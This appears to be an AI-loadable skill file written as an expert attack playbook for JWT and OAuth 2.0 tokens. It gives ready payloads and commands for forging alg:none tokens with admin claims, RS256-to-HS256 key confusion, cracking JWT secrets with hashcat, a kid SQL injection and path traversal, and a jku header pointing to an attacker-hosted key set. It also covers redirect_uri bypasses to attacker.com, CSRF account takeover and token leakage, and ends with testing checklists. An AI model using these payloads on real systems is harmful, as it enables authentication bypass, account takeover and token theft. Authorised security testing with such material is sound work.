jwt-oauth-token-attacks

技能：JWT 和 OAuth 2.0 令牌攻击 — 专家攻击手册

AI 加载说明：专家级身份验证令牌攻击。涵盖 JWT 加密攻击（alg:none、RS256→HS256、密钥破解、kid/jku 注入）、OAuth 流程攻击（CSRF、开放重定向、令牌窃取、滥用隐式流程）、PKCE 绕过，以及通过 Referer/日志泄露令牌。这对现代 Web 应用至关重要。

0. 相关路由

对以令牌为核心的攻击和流程滥用，请使用此文件。此外，还需加载：

• oauth oidc misconfiguration，用于验证重定向 URI、state、nonce、PKCE 和账户绑定
• cors cross origin misconfiguration，适用于可能存在跨源浏览器可读 API 或令牌泄露的情况
• saml sso assertion attacks，适用于目标使用 OAuth/OIDC 以外的企业 SSO 的情况

---

1. JWT 结构

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
└─────────────────────┘ └────────────────────────────┘ └──────────────────────────────────────────┘
         HEADER                     PAYLOAD                           SIGNATURE

在终端中解码：

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# → {"alg":"HS256","typ":"JWT"}

echo "eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0" | base64 -d
# → {"userId":1234,"role":"user"}

常见的声明攻击目标（修改以提升权限）：

{
  "role": "admin",
  "isAdmin": true,
  "userId": OTHER_USER_ID,
  "email": "[email protected]",
  "sub": "admin",
  "permissions": ["admin", "write", "delete"],
  "tier": "premium"
}

---

2. 攻击 1 — 算法 NONE（alg:none）

当算法为 "none"/"None"/"NONE" 时，服务器不会验证签名：

# Burp JWT Editor / python-jwt attack:
# Step 1: Decode header
echo '{"alg":"HS256","typ":"JWT"}' | base64 → old_header

# Step 2: Create new header
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'

# Step 3: Modify payload (e.g., role → admin):
echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'

# Step 4: Construct token with empty signature:
HEADER.PAYLOAD.
# OR:
HEADER.PAYLOAD

工具（jwt_tool）：

python3 jwt_tool.py JWT_TOKEN -X a
# → automatically generates alg:none variants

---

3. 攻击 2 — RS256 到 HS256 密钥混淆

当服务器使用 RS256 时（非对称 — RSA 私钥签名，公钥验证）：

• 通常可以发现服务器的公钥（JWKS 端点、/certs、源代码）
• 攻击：告诉服务器“这是 HS256” → 服务器使用公钥作为密钥来验证 HS256 HMAC

# Step 1: Obtain public key (PEM format)
# From: /api/.well-known/jwks.json → convert to PEM
# From: /certs endpoint
# From: OpenSSL extraction from HTTPS cert

# Step 2: Use jwt_tool to sign with HS256 using public key as secret:
python3 jwt_tool.py JWT_TOKEN -X k -pk public_key.pem

# Step 3: Manually:
# Modify header: {"alg":"HS256","typ":"JWT"}
# Sign entire header.payload with HMAC-SHA256 using PEM public key bytes

---

4. 攻击 3 — JWT 密钥暴力破解

基于 HMAC 的 JWT（HS256/HS384/HS512）使用了弱密钥：

# hashcat (fast):
hashcat -a 0 -m 16500 "JWT_TOKEN_HERE" /usr/share/wordlists/rockyou.txt

# john:
echo "JWT_TOKEN_HERE" > jwt.txt
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt

# jwt_tool:
python3 jwt_tool.py JWT_TOKEN -C -d /path/to/wordlist.txt

可手动测试的常见弱密钥：

secret, password, 123456, qwerty, changeme, your-256-bit-secret,
APP_NAME, app_name, production, jwt_secret, SECRET_KEY

---

5. 攻击 4 — kid（密钥 ID）注入

kid 标头参数指定用于验证的密钥。未进行清理 = 可注入：

kid SQL 注入

{"alg":"HS256","kid":"' UNION SELECT 'attacker_controlled_key' FROM dual--"}

如果后端执行 SQL 查询：SELECT key FROM keys WHERE kid = 'INPUT'
结果：HMAC 密钥 = 'attacker_controlled_key' → 使用此值签名即可伪造任意载荷。

kid 路径遍历（文件读取）

{"alg":"HS256","kid":"../../../../dev/null"}

服务器将 /dev/null 读取为密钥 → 空字符串 → 使用空 HMAC 对令牌签名。

{"alg":"HS256","kid":"../../../../etc/hostname"}

服务器将主机名读取为密钥 → 使用主机名字符串签名伪造令牌。

---

6. 攻击 5 — jku / x5u 标头注入

jku 指向 JSON Web Key Set URL。如果未列入白名单：

{"alg":"RS256","jku":"https://attacker.com/malicious-jwks.json","kid":"my-key"}

设置：

# Generate RSA key pair:
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

# Create JWKS:
python3 -c "
import json, base64, struct
# ... (use python-jwcrypto or jwt_tool to export JWKS)
"

# Host malicious JWKS at attacker.com/malicious-jwks.json
# Sign JWT with attacker's private key
# Server fetches attacker's JWKS → verifies with attacker's public key → accepts

jwt_tool 自动化：

python3 jwt_tool.py JWT -X s -ju https://attacker.com/malicious-jwks.json

---

7. OAUTH 2.0 — 缺少 STATE 参数（CSRF）

State 参数可防止 OAuth 中的 CSRF。如果缺失：

Attack:
1. Click "Login with Google" → OAuth starts → intercept the redirect URL:
   https://accounts.google.com/oauth2/auth?client_id=APP_ID&redirect_uri=https://target.com/callback&state=MISSING_OR_PREDICTABLE&code=...

2. Get the authorization code (stop before exchanging it)
3. Craft URL: https://target.com/oauth/callback?code=ATTACKER_CODE
4. Victim clicks that URL → their session binds to ATTACKER's OAuth identity
→ ACCOUNT TAKEOVER

---

8. OAUTH — REDIRECT_URI 绕过

授权码会发送到 redirect_uri。如果验证不严：

redirect_uri 中的开放重定向

Original: redirect_uri=https://target.com/callback
Attack:   redirect_uri=https://target.com/callback/../../../attacker.com
          redirect_uri=https://attacker.com.target.com/callback
          redirect_uri=https://[email protected]/callback

部分路径匹配

Whitelist: https://target.com/callback
Attack: https://target.com/callback%2f../admin (URL path confusion)
        https://target.com/callbackXSS (prefix match only)

本地主机 / 开发环境重定向

redirect_uri=http://localhost/steal
redirect_uri=urn:ietf:wg:oauth:2.0:oob  (mobile apps)

---

9. OAUTH — 隐式流程令牌窃取

隐式流程：令牌通过 URL 片段 #access_token=... 发送

片段泄露场景：

• 重定向到攻击者页面：可通过 document.referrer 或目标页面中的 <script>window.location.href</script> 访问片段
• 开放重定向：redirect_uri=https://target.com/open-redirect?url=https://attacker.com → 片段中的令牌最终到达攻击者页面

---

10. OAUTH — 范围提升

在授权码请求中申请超出已授权范围的权限：

Authorized scope: read:profile
Attack: During token exchange, add scope=admin or scope=read:admin
→ Does server grant requested scope or issued scope?

---

11. 令牌泄露途径

Referer 标头

URL 中包含令牌 → 页面加载外部资源 → Referer 泄露令牌：

https://target.com/dashboard#access_token=TOKEN
→ HTML loads: <img src="https://analytics.third-party.com/track">
→ Referer: https://target.com/dashboard#access_token=TOKEN
→ analytics.third-party.com sees token in Referer logs

服务器日志

通过查询参数发送的访问令牌会存储在：

/var/log/nginx/access.log
/var/log/apache2/access.log
ELB/ALB logs (AWS)
CloudFront logs
CDN logs

---

12. JWT 测试清单

□ Decode header + payload (base64 decode each part)
□ Identify algorithm: HS256/RS256/ES256/none
□ Modify payload fields (role, userId, isAdmin) → change signature too
□ Test alg:none → remove signature entirely
□ If RS256: find public key → attempt RS256→HS256 confusion
□ If HS256: brute force with hashcat/rockyou
□ Check kid parameter → try SQL injection + path traversal
□ Check jku/x5u header → redirect to attacker JWKS
□ Test token reuse after logout
□ Test expired token acceptance (exp claim)
□ Check for token in GET params (log leakage) vs header

---

13. OAUTH 测试清单

□ Check for state parameter in authorization request
□ Test redirect_uri manipulation (open redirect, prefix match, path confusion)
□ Can tokens be exchanged more than once?
□ Test scope escalation during token exchange
□ Implicit flow: check for token in Referer/history
□ PKCE: can code_challenge be bypassed or code_verifier be empty?
□ Check for authorization code reuse (code must be single-use)
□ Test account linking abuse: link OAuth to existing account with same email
□ Check OAuth provider confusion: use Apple ID to link where Google expected